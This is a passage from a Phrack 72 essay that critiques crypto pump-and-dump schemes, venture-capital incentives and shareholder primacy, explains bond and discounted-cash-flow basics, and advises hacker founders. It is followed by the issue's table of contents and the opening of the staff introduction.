| Token | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Venture |

| Project | <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Capital |

+‑‑‑‑‑‑‑‑‑+ cash , intros to CEX / MM, shilling +‑‑‑‑‑‑‑‑‑+

This machine worked exceptionally well in 2017, especially before China banned crypto. All those ICO shitcoins? Asian Arrangement. And it still works well to this day, except people are more wary of lockups and vesting schedules and so on.

Now let's discuss the Western Way. The Asian Arrangement? That old pump and dump? No sir, we are civilized people. Instead, our VCs *add value* to their investments by telling the world "how disruptive the tech is" and how the "team are incredible outliers". And they will not blatantly PnD the token, but instead they will fund "projects in the ecosystem" so it appears there is real activity happening on the platform.

This is to hype up metrics (like TPS or TVL) to inflate the next round valuation. Anyways, then they dump. Or maybe the VC is also a market maker so they market make their portfolio company tokens. Overall it's the same shit (Ponzi) but dressed up in a nicer outfit.

Asian Arrangement or Western Way‑‑either way, if you're the token founder, your main priority is to just GO TO MARKET NOW and LAUNCH THE TOKEN. This is so you can collect your sweet bag and dump some secondary before someone else steals the narrative or the hype cycle moves on.

This is one of the reasons there are so many hacks in crypto. The code is all shitty because it's rushed out as fast as possible by 20‑somethingyear‑old software engineers formerly writing Typescript and Golang at Google. Pair that with some psycho CEO product manager. Remember, it is not about WRITING SECURE CODE, it is about SHIPPING THE FUCKING PRODUCT. Good luck rewriting it in Rust!

All of this worked well until Luna, then 3AC, Genesis, and FTX imploded in 2022. It still works, but you have to be less blatant now.

Shitcoins do serve an essential need. They are an answer to financial nihilism. Many people are working dead‑end wage slave jobs that are not enough to "make it". They feel trapped and forced to work at jobs they fucking hate and waste their life doing pointless shit to generate shareholder value. This kind of life feels unacceptable, yet there are few avenues out. So what is the only "attainable" solution left? Gamble it on shitcoins, and if you lose...maybe next paycheck will be better.

But enough about crypto, let's talk about securities.

‑‑[ 3 ‑ How Money Works

‑‑‑‑[ 3.1 ‑ Fixed Income

First, let's start with fixed income. I'm talking boring, old‑fashioned bonds, like Treasury bonds. A lot of people are introduced nowadays to finance through equities (stocks) and tokens. In my opinion, this is only half of the story. Fixed income is the bedrock of finance. It has fundamental value. It provides a prototypical asset that all assets can be benchmarked based on.

Fixed income assets, like bonds, boil down to borrowing and lending. A bond is basically an IOU for someone to pay you in the future. It is more useful to have a dollar today than in a year, so lenders charge a fee for access to money today. This fee is known as interest, and how it is baked into the equation varies from asset‑to‑asset. Some bonds come with interest payments, whereas other bonds are zero‑coupon. The most important thing is to remember that bonds are essentially an IOU to pay $X in the future.

Here is an example. Let's say you would like to borrow $100 to finance an upcoming project. The interest rate will be 5% per year. To borrow money, you would issue (mint) a bond (an IOU) for $X+5 dollars to be repaid 1 year in the future. In exchange for this fresh IOU, the lender will give you $X dollars now.

On the lender's balance sheet, they will be less $X dollars worth of cash, but will also have gained ($X+5) dollars worth of an asset (your IOU), creating $5 of equity. In contrast, you would have $X more cash in assets, but also an ($X+5) liability, creating ‑$5 of equity.

This example also works for depositing money at a bank. Here, you are the lender, and the bank is the borrower. Your deposits would be liabilities on their balance sheet, as they are liable to pay you back the deposit if you choose to withdraw it.

Lender's Balance Sheet Borrower's Balance Sheet

===========================

Assets: Assets:

IOU‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑X+5 Cash‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑X

Liabilities: Liabilities: Cash‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑(X) IOU‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑X+5

Equity: Equity:

Equity‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑5 Equity‑‑‑‑‑‑‑‑‑‑‑‑‑‑(5)

Fixed income assets are extremely simple. There are various risks (credit risk, interest rate risk, etc.), but excluding these factors, you essentially get what you pay for. Unlike a token or stock, the bond is not going to suddenly evaporate or crash. (In theory.) Because of this, they can be modeled in a straightforward way; a way so straightforward even a high school student can understand it.

Let's say I have $X today. Suppose the prevailing (risk‑free) interest rate is 5%. What is the value of this $X in a year? Obviously, it would be no less than $X*1.05, as I can just lend it out for 5% interest and get $X*1.05 back in a year. If you gave me the opportunity to invest in any asset yielding less than 5%, this would be a bad deal for me, since I could just lend it out myself to get 5% yield.

Now, let's analyze the same scenario, but in reverse. Let's take that IOU from earlier. What is the value *today* of a (risk‑free) $X IOU, due in 1 year? It would be worth no more than $X/1.05. This is because with $X/1.05 dollars today, I could lend it out and collect 5% interest to end up with $X again in the future. If I pay more than $X/1.05, I am getting a bad deal, since I am locking up my money with you when it would be more capital efficient to just lend it out myself.

You can probably see where I am going with this. The present value of an $X IOU at some time *t* in the future is $X/(1+r)^t, where *r* is the discount rate. The discount rate describes the "decay" of the value over time, due to interest but also factors like potential failure of the asset (for example, if the asset is a company, business failure of the company).

Now, if we have some asset which pays a series of future cash flows *f(t)*, we can model this asset as a bundle of IOUs with values f(t) due in time 1, 2, 3, and so on. Then the present value of this asset is the geometric series sum of the discounted future cash flows. This is called discounted cash flows (DCF). Congrats, now you can do better modeling than what goes into many early‑stage venture deals.

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| Year | 0 | 1 | 2 | 3 | 4 | ... | t |

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| Cash | CF1 | CF2 | CF3 | CF4 | CF5 | ... | CF_t |

| Flow | | | | |

+‑‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| Disc.| CF1 |_CF2_| __CF3__ | __CF4__ | __CF5__ | ... | _CF_t__ | | Val | | 1+r | (1+r)^2 | (1+r)^3 | (1+r)^4 | | (1+r)^t |

+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

IOU 1 IOU 2 IOU 3 IOU 4 IOU 5 ... IOU n

inf

_ f(t) 1

DCF = \ ‑‑‑‑‑‑‑ = (assume constant annual cash flow x) = ‑‑‑‑‑‑‑‑‑ x

/_ (1+r)^t 1‑1/(1+r)

t=0

= (1/r + 1) x

Cash flow multiple = (value) / (annual cash flow) ~= 1/r

(The astute reader might also find that they can go backwards from valuations to estimate first, second, ... Nth derivatives of the cash flow or the year‑to‑year survival chances of a company. And these can be compared with...going outside and touching grass to see if the valuation actually makes sense.)

At this point, you're probably wondering why I'm boring you with all of this dry quant finance 101 shit. Well, it's a useful thing to know about how the world works.

First, interest rates affect you directly and personally. You may have heard of the term "zero interest rate environment". In a low interest rate environment, cash flow becomes irrelevant. Why? Consider the DCF geometric series sum if the interest rate r = 0. The present value approaches infinity. If the benchmark hurdle rate we're trying to beat is 0%, literally ANYTHING is a better investment than holding onto cash.

Now do you see why VCs were slamming hundreds of millions into blatantly bad deals and shit companies during Covid? Cash flow and profitability didn't matter, because you could simply borrow more money from the money printer.

Here's a more concrete example. Do you remember a few years ago when Uber rides were so cheap, that they were clearly losing money on each ride?

This is known as Customer Acquisition Cost, or CAC. CAC is basically the company paying you to use their app, go to their store, subscribe to the thing, ... whatever. The strategy is well‑known: burn money to acquire users until everyone else dies and you become a monopoly. Then raise the prices.

But here is the key point: this only works in a low‑interest rate environment. In such an environment, discounting is low, and thus, future growth potential is valued over profitability and fundamentals at present. It doesn't need to make sense *today* as long as it works 10 years from now. For now, we can keep borrowing more money to sustain the burn.

Of course, when rates go back up, the free money machine turns off and the effects ripple outward. You are the humble CAC farmer, farming CAC from various unprofitable consumer apps like ride share, food delivery, whatever. These apps raise their money from their investors, VC and growth equity funds. These funds in turn raise their money from *their* investors, their limited partners. These LPs might be institutional capital like pension funds, sovereign wealth funds, or family offices.

At the end of the day, all of that wealth is generated somewhere throughout the economy by ordinary people. So when some VC‑backed founders throw an extravagant party on a boat with fundraised dollars, in some sense, you are the one paying for it.

And when the money machine turns off, anyone who had gotten complacent under ZIRP is now left scrambling. Companies will overhire during ZIRP only to do layoffs when rates go up.

+==============

| THE LIQUIDITY CYCLE |

+==============

VENTURE CAPITAL

_______________

,;===============>> E^ a16z LSVP Tiger '^3.

.;^ E^ FF Social Cap. '^3

// condensation .E Bain SoftBank Accel 3^

/|^ ^E KP Benchmark :^

|| ^;YC Greylock GC ;3'

,.^‑^‑^‑^‑^‑^‑^‑^‑^‑^‑^;,

E^ endowments family '^:. \\\\\\\\\\\\\\\\\\\\

E^ offices '^3 \\\\\\\\\\\\\\\\\\\\

E' pension ^3. SOURCE \\\ precipitation \\

^; funds sovereign 3.' CAPITAL \\\\\\\\\\\\\\\\\\\\

E;: wealth funds ,3^ (LPs) \\\\\\\\\\\\\\\\\\\\

^;._.._._._._._._._._._._,^

^ ^ ^ ^ ^ ^ ^ ^ gamefi /\ /\ uber eats

| | | | | | | | shitcoins/::\/::\ /::::\ /\

| evaporation | / doordash/^^^^^^\ /^^\

| | | | | | | | __________hello \

(poggers desu) /_____ lime ____ fresh ___\

\o/ \oXo/\oXoXo/ o '==========' UNPROFITABLE CONSUMER APPS

| | | | | | /|\ Oo._ /\_/\ ,///

__/_\_/_X_\/_X_X_\_/_\__ /_________(@'w'@)_____________.,://'

SOCIETY \'''''''' ‑...‑''''''''''''''surface

THE HUMBLE runoff

CAC FARMER

Second, credit is not inherently a bad thing if used responsibly. Take for example those Buy Now, Pay Later loans. Now that you are equipped with the concept of capital efficiency, wouldn't it technically better than paying cash to take an interest‑free BNPL loan and temporarily stick the freed cash into an investment? (Barring other side effects, etc.)

Third, the concept of net present value‑‑i.e., credit‑‑is the killer app of finance. It allows you to transport value from the future into today. Of course, that debt must be repaid in the future, unless you can figure out a way to kick the can down the road forever.

For now, let's get back to stocks.

‑‑‑‑[ 3.2 ‑ Equities

Now we have seen both sides of the coin. Asset value is twofold: speculative and fundamental.

First, we saw speculative value as illustrated by crypto meme coins. Then, on the other hand, we examined fundamental value as illustrated by, e.g. a US Treasury. These two lie on two extremes of a spectrum. Some sectors and stocks are more speculative than others; Nvidia is practically a meme coin at this point, whereas something like Coca‑Cola is like fixed income for boomers (NFA BTW). Most assets have a blend of both.

Thinking about stocks, they (usually) have some fundamental value. Equities represent ownership of some asset, like a business. The business in theory generates dividends for shareholders, and this cash flow (or the net present value of future ones) represents the fundamental value of the business. As we've seen, assets with better cash flows are more valuable.

In practice, buybacks can be used to create what is effectively a shareholder dividend in a more tax‑advantaged way. Whereas with dividends, they are taxed as income, and this is realized immediately. With buybacks, they are taxed as capital gains, but crucially the gains are not realized until the asset is sold. This could be indefinitely far in the future, so it's more capital efficient. It has the added benefit that it helps pump the token, and imo this is kind of cute because it marries both the fundamental and speculative aspects.

Meanwhile, like tokens, stocks are also supposed to go up. Here's an example: imagine a generic meme coin. Apart from Go Up, what does it do? Nothing. Even if it's a Governance Token, who cares when the founders and VCs hold all the voting power? Anyways, I'm describing Airbnb Class A Common Stock. Here's an excerpt from their S‑1 [1] [2]:

> We have four series of common stock, Class A, Class B, Class C, and > Class H common stock (collectively, our "common stock"). The rights of > holders of Class A, Class B, Class C, and Class H common stock are > identical, except voting and conversion rights ... Each share of Class A > common stock is entitled to one vote, each share of Class B common stock > is entitled to 20 votes and is convertible at any time into one share of > Class A common stock ... Holders of our outstanding shares of Class B > common stock will beneficially own 81.7% of our outstanding capital > stock and represent 99.0% of the voting power of our outstanding capital > stock immediately following this offering, ...

Name of | Class B | % | % of VotBeneficial Owner | Shares | | ing Power

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Brian Chesky | 76,407,686 | 29.1% | 27.1% Nathan Blecharczyk | 64,646,713 | 25.3% | 23.5% Joseph Gebbia | 58,023,452 | 22.9% | 21.4% Entities Affil. w/ Sequoia Capital | 51,505,045 | 20.3% | 18.9%

Why do people buy tech stocks with inflated valuations? Some may because they believe that they will go up, that they will be more dominant, important, and valuable in the future. Like tokens, a large part of stocks' value is speculative. They are expressing their opinion on the future fundamentals. Others may simply because they believe others will believe that it is more valuable. Not fundamentals, this is an opinion about *pumpamentals*.

Importantly, unlike fundamental value, speculative value can be created out of thin air. It is minted by *fiat*. Fundamental value is difficult to create, whereas speculative value can be created through hype and psychology alone.

‑‑‑‑[ 3.3 ‑ Shareholder Value

For stocks, there are usually laws in place to protect investors, pushing the balance between "speculation" and "fundamentals" towards the latter. As a result, firms are generally legally obligated to act in their shareholders' best interests. This is good because normal people will be able to participate in the wealth generated by companies. And obviously, companies should not defraud their investors.

However, the biggest *stake* holders in a business, are usually (in order):

1. The employees. No matter what, no one else is spending 8 hours a day, or ~33% of their total waking lifespan at this place. Whatever it is, I guarantee you the employees feel it the most.

2. The customers. The customers are the reason the business is able to exist in the first place. Non‑profits are not exempt: their customers are their donors.

3. The local community / local environment / ecosystem. The business doesn't exist in a vacuum. The business has externalities, and those externalities affect most the immediate surrounding environment.

4. And in last place, the shareholders. They do not really do anything except contribute capital and hold the stock. Of course capital is important but they are not spending 8 hours a day here, they are not the reason the business exists, and in fact they might even live in a totally different country.

For large, publicly‑listed companies, the shareholders have one more unique difference from the other three stakeholders: liquidity. This difference is critical.

Liquidity describes how easy it is to buy and sell an asset. A dollar bill is liquid. Bitcoin is liquid. A house is relatively illiquid. Stock in large, publicly‑listed companies is also liquid. A shareholder can buy a stock one day and sell it the next. As a result, the relationship is non‑commital and opens the opportunity for short‑term thinking.

There are many things a company could do which would benefit shareholders short term, while harming the other three stakeholders long term. While a shareholder can simply dump their position and leave, the mess created is left for the employees, customers, and community to clean up.

(The SPAC boom was a pretty good example of this. Not all SPACs are bad, but a lot of pretty shit businesses publicly listed through SPACs then crashed. This is sad to me because some of that is early investors and founders dumping on retail like a crypto shitcoin, but dressed up because it's NYSE or NASDAQ. Get liquidity then bail.)

Now, it is a misconception that stock companies must solely paperclipmaximize short‑term shareholder value. However, this is how it often plays out due to fucked up shit in the public markets, like annoying activist hedge funds or executive compensation tied to stock price. And it is true that employees can be shareholders. And that is usually a good thing! But few public companies are truly employee‑owned.

Thinking about it from this perspective, the concept of maximizing shareholder value seems somewhat backwards. But *why* would one make this system where the priorities are seemingly inverted?

One benefit is that it would make your currency extremely valuable. Suppose you want to do some shit on Ethereum (speculating on some animal token?), you will need to have native ETH to do that transaction. Similarly, if you want to invest in US securities you at some point need US Dollars. If you want to get a piece of that sweet $NVDA action, you need dollars. People want to buy American stocks. American companies perform well: they're innovative; they're not too heavily regulated; it's a business friendly environment. (Shareholder value comes first!) The numbers go up.

Remember the token founder from earlier in the Asian Arrangement? Suppose you are a *country* in the situation above, with a valuable currency. Not only is your currency in demand and valuable, you are the issuing/minting authority for that token. Similar to the token founder, you can print valuable money and pay for things with it.

And speaking of being a founder, let's talk about that!

‑‑[ 4 ‑ Startup Blues

Based on what we've set up so far, I will discuss some of the problems I see with many startups today and with startup culture.

Much of the problems stem from misalignment between shareholders and the other stakeholders (employees, etc). A lot of this comes from the fundamentals of venture capital. VC is itself an asset class, like fixed income and equities. VCs pitch this to their limited partners, at some level, based on the premise that their VC fund will generate yield for them. The strategy is to identify stuff that will become huge and buy it while it's still small and really cheap. Like trading shitcoins, it's about finding what's going to moon and getting in early.

In a typical VC fund, a small handful of the investments will comprise the entire returns of the fund, with all of the other investments being 0's. The distribution is very power law. This means we are not looking for 1x, 2x, or 3x outcomes; these may even be seen as failure modes. We are only interested in 20x, 50x, 100x, etc. outcomes. This is because anything less will be insufficient to make up for all the bad investments that get written down to zero.

For the same reason, it only makes sense for VCs to invest in certain types of companies. Have you ever heard this one? "We invest in SOFTWARE companies!...How is this SCALABLE? What do the VENTURE SCALE OUTCOMES look like here?" This is because these kinds of companies are the ones with the potential to 100x. They want you to deliver a 100x. Or how about this one? "We invest in CATEGORY‑DEFINING companies". At least in security, "category‑defining" means a shiny new checkbox in the compliance / cyber insurance questionnaire. In other words, a new kind of product that people MUST purchase.

The market is incentivized to deliver a product that meets the minimum bar to meet that checkbox, while being useless. I invite you to think of your favorite middleware or EDR vendors here. For passionate security founders considering raising venture, remember that this is what your "success" is being benchmarked against.

_.,‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.%'

.;' We partner with founders ^; ! building category‑defining ;! ; companies at the earliest stages _;

^;

''‑.______________

/

/

/ /^

/;^

/'

_________

_‑' '.

,^ '^_

/' '"'

^' ^\^

: ^|

: . . |)

: \ |)

: __\ ,;

" ! ;

" ^\ _____ /'

'| | ^\ _/^

| ^'====='

| . | |

_' |^__

‑‑‑‑‑‑‑‑‑_‑' U '‑‑_ ‑‑‑‑‑‑‑‑‑‑‑‑‑_‑' U '‑‑_ ‑‑‑‑‑

._ _.‑' '‑._

':.' \ ; / ':4]

It's due to the thirst for 100x that there are painful dynamics. A fledgling startup may have founders they really like, but the current business may be unscalable. Bad VCs will push founders towards strategies, bets, models that have a 1% chance of working, but pay out 200x if they do.

In the process they destroy a good business‑‑one which has earned the trust of dutiful employees and loyal customers‑‑all for a lottery ticket to build a unicorn. They will throw 100 darts at the dartboard and maybe 5 will land, but what is it like to be the dart? You may have good expected value, but all of that EV is from spikes super far away from the origin. Is it pleasant betting everything on this distribution?

VC's want founders to be cult leaders. Have you ever heard this line? "We invest in great storytellers." Like what we saw with stocks and tokens, much of the easily‑unlockable potential upside in assets is speculative. In essence, value can be created through narrative. Narrative *IS* value. Bad VC's will push founders to raise more capital at ever higher valuations (higher val = markup = fees), using narrative as fuel for the fire. Storytelling means "pump the token", and the job of the CEO is to (1) be the hype man and to raise (2) cash and (3) eyeballs. For this reason, Sam Altman and Elon are fine CEOs, regardless of other factors, because they are great at all three.

Much to the detriment of founders' and their employees' psyche, investors expect founders to be this legendary hype man. This requires a religiosity of belief that is borderline delusional. Have you ever tried to convince one of those Silicon Valley YC‑type founder/CEOs that they are wrong? They will never listen to you because they have been socialized to be this way. It is what is expected of them, and it is easy to fall into this trap without even becoming aware of it. But if you think about it, does it make sense that to be a business owner, you need to be a religious leader? Of course not.

All of these reasons are why so many startup founders are young. They have little to lose, so gambling it all is OK. Being a cult leader may be traumatizing, but they have time (and the neuroplasticity) to heal. And lastly, they do not have the life experience to have a mature personal identity beyond "I am a startup founder". All of this makes it easy to accept the external pressures to build a company this or that way. And perhaps not the way they would have wanted to, relying instead on their personal values. The true irony is that the latter is what creates true, enduring company culture and not the made‑up Mad Libs‑tier Company Culture Notion Page shit that so many startups have. And of course, good VCs are self‑aware of all of the issues and strive to prevent them. But the overall problem remains.

One last externality is for communities based around an industry. When you add billions of venture dollars into an industry, it becomes cringe. It's saddening to me seeing the state of certain cybersecurity conferences which are now dominated by..."COME TO OUR BOOTH, YOU CAN BE A HACKER. PLEASE VIEW OUR AI GENERATED GRAPHICS OF FIGURES CLAD IN DARK HOODIES STATIONED BEHIND LAPTOPS". Here I would use the pensive emoji U+1F614 to describe my feelings about the appropriation of hacker culture but Phrack is 7‑bit ASCII, so please have this: :c u_u . _.

‑‑[ 5 ‑ Takeaways

The point is, all of this made me feel very small and powerless after I realized the sheer size of the problems I was staring at. Nowadays, to me it's about creating good jobs for my friends, helping our customers, and taking care of the community. Importantly, I realized that this is still making a bigger positive impact than what I could have done alone just as an individual hacker or engineer.

To me, businesses are economic machines that can create positive (or negative) impact in a consistent, self‑sustaining way. There are many people who are talented, kind, and thoughtful but temporarily unlucky. Having a company let me help these friends monetize their abilities and be rewarded fairly for them. And in that way I helped make their life better. Despite a lot of the BS involved in running a business, this is one thing that is very meaningful to me.

You can understand computers and science and math as much as you want, but you will not be able to fix the bigger issues by yourself. The systems that run the world are much bigger than what we can break on our laptops and lab benches.

But like those familiar systems, if we want to change things for the better, we have to first understand those systems. Knowledge is power. Understanding is the first step towards change. If you do not like the system as it is, then it is your duty to help fix it.

Do not swallow blackpills. It's easy to get really cynical and think things are doomed (to AGI apocalypse, to environmental disaster, to techno/autocratic dystopia, whatever). I want to see a world where thoughtful hackers learn these systems and teach each other about them. That generation of hackers will wield that apparatus, NOT THE OTHER WAY AROUND.

Creating leverage for yourself. Hackers should not think of themselves as "oh I am this little guy fighting Big Corporation" or whatever. This is low agency behavior. Instead become the corporation and RUN IT THE WAY YOU THINK IT SHOULD BE RUN. Keep it private and closely held, so no one can fuck it up. Closely train up successors, so in your absence it will continue to be run in a highly principled way that is aligned with your values and morals. Give employees ownership, as it makes everyone aligned with the machine's long‑term success, not just you.

Raising capital. Many things do really need capital, but raise in a responsible way that leaves you breathing room and the freedom to operate in ways that are aligned with your values. Never compromise your values or integrity. Stay laser focused on cash flows and sustainability, as these grant you the freedom to do the things right.

HACKERS SHOULDN'T BE AFRAID TO TOUCH THE CAPITAL MARKETS. Many hackers assume "oh that fundraising stuff is for charismatic business types". I disagree. It's probably better for the world if good thoughtful hackers raise capital. Giving them leverage to change the world is better than giving that leverage to some psycho founder drinking the Kool‑Aid. I deeply respect many of the authors in Phrack 71, and I would trust them to do a better job taking care of things than an amorphous amalgam of angry and greedy shareholders.

For all things that don't need capital, do not raise. Stay bootstrapped for as long as possible. REMEMBER THAT VALUATION IS A VANITY METRIC. Moxie Marlinspike wrote on his blog [3] that we are often guilty of always trying to quantify success. But what is success? You can quantify net worth, but can you quantify the good you have brought to others lives?

For personal goals, think long term. People tend to overestimate what they can do in 1 year, but underestimate what they can do in 10. DO NOT start a company thinking you can get your hands clean of it in 2‑3 years. If you do a good job, you will be stuck with it for 5‑10+ years. Therefore, DO NOT start a company until you are sure that is what you want to do with your life, or at least, your twenties/thirties (depending on when you start). A common lament among founders, even successful ones, is: "Sometimes I feel like I'm wasting my twenties". There's an easy Catch‑22 here: you may not know what you really want until you do the company; but once you do the company, you won't really be able to get out of it. Be wary of that.

Creating value. This is one of those meaningless phrases that I dislike. Value is what you define it to be. Remember to work on things that have TAMs, but remember that working on art is valuable too! It is not all about the TAM monster‑‑doing cool things that are NOT ECONOMICALLY VALUABLE, but ARTISTICALLY VALUABLE, is equally important. There is not much economic value in a beautiful polyglot file, but it is artistically delightful. This is part of why people hate AI art: it may be economically valuable, but it is often artistically bankrupt. (Some people do use generative tools in actually original and artistic ways, but this is the exception not the norm currently.)

Founders vs Investors. Here is my advice: Ignore any pressure from investors to make company "scalable" or whatever. Make sure your investors have no ability to fire you or your co‑founder(s). Make sure you and co‑founder are always solid and trust each other more than investors. You and your cofounders need to be BLOOD BROTHERS (/sisters/w.e). If an investor is trying to play politics with one of you to go against the other cofounder, cut that investor out immediately and stop listening to them.

Any investor who pushes for scalability over what you think is the best interest of the company is not aligned with you. High‑quality investors will not push for this because they are patient and in it for the long game. If you are patient, you can make a very successful company, even if it is not that scalable. High‑quality investors will bet on founders and are committed; only bad ones will push for this kind of shit.

I'm going to avoid giving more generic startup advice here. Go read Paul Graham's essays. But remember that any investor's perspective will not be the perspective of you and your employees. Pivoting 5 times in 24 months is not a fun experience to work at: your employees will resign while your investors celebrate your "coming of age journey"‑‑unless everyone signed up for that terrifying emotional rollercoaster from the start.

They say that "hacker" is a dying identity. Co‑opted by annoying VC‑backed cybersecurity companies that culturally appropriate the identity, the term is getting more polluted and diluted by the day. Meanwhile, computers are getting more secure, and they are rewriting everything in Rust with pointers‑as‑capability machines and memory tagging. Is it over?

I disagree. As long as the hacker *ethos* is alive, regardless of any particular scene, the identity will always exist. However, now is a crucible moment as a diaspora of hackers, young and old, venture out into the world.

Calling all hackers: never forget who you are, who you will become, and the mark you leave.

‑‑[ 6 ‑ Thanks

Greetz (in no particular order):

* ret2jazzy, Sirenfal, ajvpot, rose4096, Transfer Learning, samczsun, tjr, claire (aka sport), and psifertex.

* perfect blue, Blue Water, DiceGang, Shellphish, and all CTF players. * NotJan, nspace, xenocidewiki, and the members of pinkchan and Secret Club. * Everyone at Zellic, past and present.

Finally, a big thank you to the Phrack staff (shoutout to netspooky and richinseattle!) for making this all possible.

‑‑[ 7 ‑ References

[1] https://www.sec.gov/Archives/edgar/data/1559720/000119312520315318/

d81668d424b4.htm

[2] https://www.sec.gov/Archives/edgar/data/1559720/000119312522115317/

d278253ddef14a.htm

[3] https://moxie.org/stories/promise‑defeat/

[4] https://twitter.com/nikitabier/status/1622477273294336000

‑‑[ 8 ‑ Appendix: Financial institution glossary for hackers

(Not serious! For jokes... :‑)

‑ IB: Investment Bank. Basically collect fat fees to do up ("advise on") M&As and other transactions. Help match buyers and sellers for your private equity. They are like CYA for your deal.

‑ PE: Private Equity. Basically buy not‑overly‑seriously ("poorly") run companies, fire the management, then run it "professionally" (i.e. make it generally shitty for customers and employees and community for the benefit of shareholders)

‑ HF: Hedge Fund. Trade out pricing inefficiencies

‑ MM: Market Maker. Basically the same thing

‑ VC: Basically gamble on tokens (crypto or stocks) and back cool and/or wacky ideas that the rest of these people find too stinky to invest in

‑ PnD: Pump and Dump.

‑ TVL: Total Value Locked. Basically how much money is currently in a blockchain or smart contract system.

‑ TPS: Transactions Per Second. A measure of how scalable or useful a blockchain or database is. An oft‑abused metric hacked by vaporware shillers for hype and PnD purposes.

‑ TAM: Total Addressable ~~Memory~~ Market. Basically how much money a given idea can make.

‑ NFA: Not finanical advice.

72

- Introduction by Phrack Staff

- Phrack Prophile on Gera by Phrack Staff

- Linenoise by Phrack Staff

- Loopback by Phrack Staff

- The Art of PHP - My CTF Journey and Untold Stories! by Orange Tsai

- Guarding the PHP Temple by mr_me

- APT Down - The North Korea Files by Saber, cyb0rg

- A learning approach on exploiting CVE-2020-9273 by dukpt

- Mapping IOKit Methods Exposed to User Space on macOS by Karol Mazurek

- Popping an alert from a sandboxed WebAssembly module by th0mas.nl

- Desync the Planet - Rsync RCE by Simon, Pedro, Jasiel

- Quantom ROP by Yoav Shifman, Yahav Rahom

- Revisiting Similarities of Android Apps by Jakob Bleier, Martina Lindorfer

- Money for Nothing, Chips for Free by Peter Honeyman

- E0 - Selective Symbolic Instrumentation by Jex Amro

- Roadside to Everyone by Jon Gaines

- A CPU Backdoor by uty

- The Feed Is Ours by tgr

- The Hacker's Renaissance - A Manifesto Reborn by TMZ

Introduction

==Phrack Inc.==

Volume 0x10, Issue 0x48, Phile #0x01 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ staff@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ August 19, 2025 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

_______ ____ ____ _______ ___

._\\____ \\ | |__\\__ \ _\\__

: |/ >> : : :/ /./ /

| : / | / \| __

| ____/| | | \ \ |

| |/// |____| |_____\ |\___ |

| : /////:____|/////\\____|////\\

|___/ e‑zine /////: //////| //// ////

//// . : x0^67^aMi5H^iMP!

‑‑[ Hacker Evolution

For 40 years, Phrack has published papers that have reflected and shaped hacker culture. The knowledge shared in Phrack has laid the foundation for many fields of study, providing insight, a shared language, resources and tools, as well as context and history. Phrack is written by hackers, for hackers, and offers a glimpse into the world just beyond what most people see.

Phrack is both a technical journal and a cultural document. Like all zines, it represents a snapshot of the scene at the time. We share not just our discoveries, but the stories of how we came to know things and the context in which we existed. We share our triumphs, failures, and lessons learned. By fostering a culture of communal idea sharing, we learn how to solve problems creatively, and make the most of our current situation.

Over the past 40 years, hacking has evolved, splintered, and mutated into a variety of forms. Phrack has documented many of the key innovations in hacking since its first issue: From showcasing ways to manipulate the phone system and other large computers, to pioneering vulnerability scanning, to generalizing security concepts such as buffer overflows, ROP, and heap exploitation, to bringing it all together within complex ecosystems that seemed like just a fantasy in years past. Each generation builds off the previous and offers us new perspectives, remixing with older ideas and demonstrating how they can be reapplied to new situations. When Phrack was first published in the mid‑80s, our relationship with technology was quite different. Many of our challenges involved simply getting and staying online. Today we face entirely new challenges based on what is, what was, and what will be.

The hacker ethos remains the same ‑ be curious about your world, make do with what you have, and show how things can be better.

What was done before us, and the knowledge shared, provides the base for us to build off of and evolve from. As hackers, we pass on our best characteristics by teaching others. We document how and why we did things based on what was available at the time. We expand on previous generations' work and piece together our own understanding, informed by our own personal experience. The reward is the beauty of what we discover and create, and the joy of sharing and inspiring others. Over time, all of our most beloved and reliable techniques and tools become common knowledge, and new permutations pop up. As circumstances change, so do our needs. What's old becomes new again, new ideas recontextualize the old. The cycle continues.

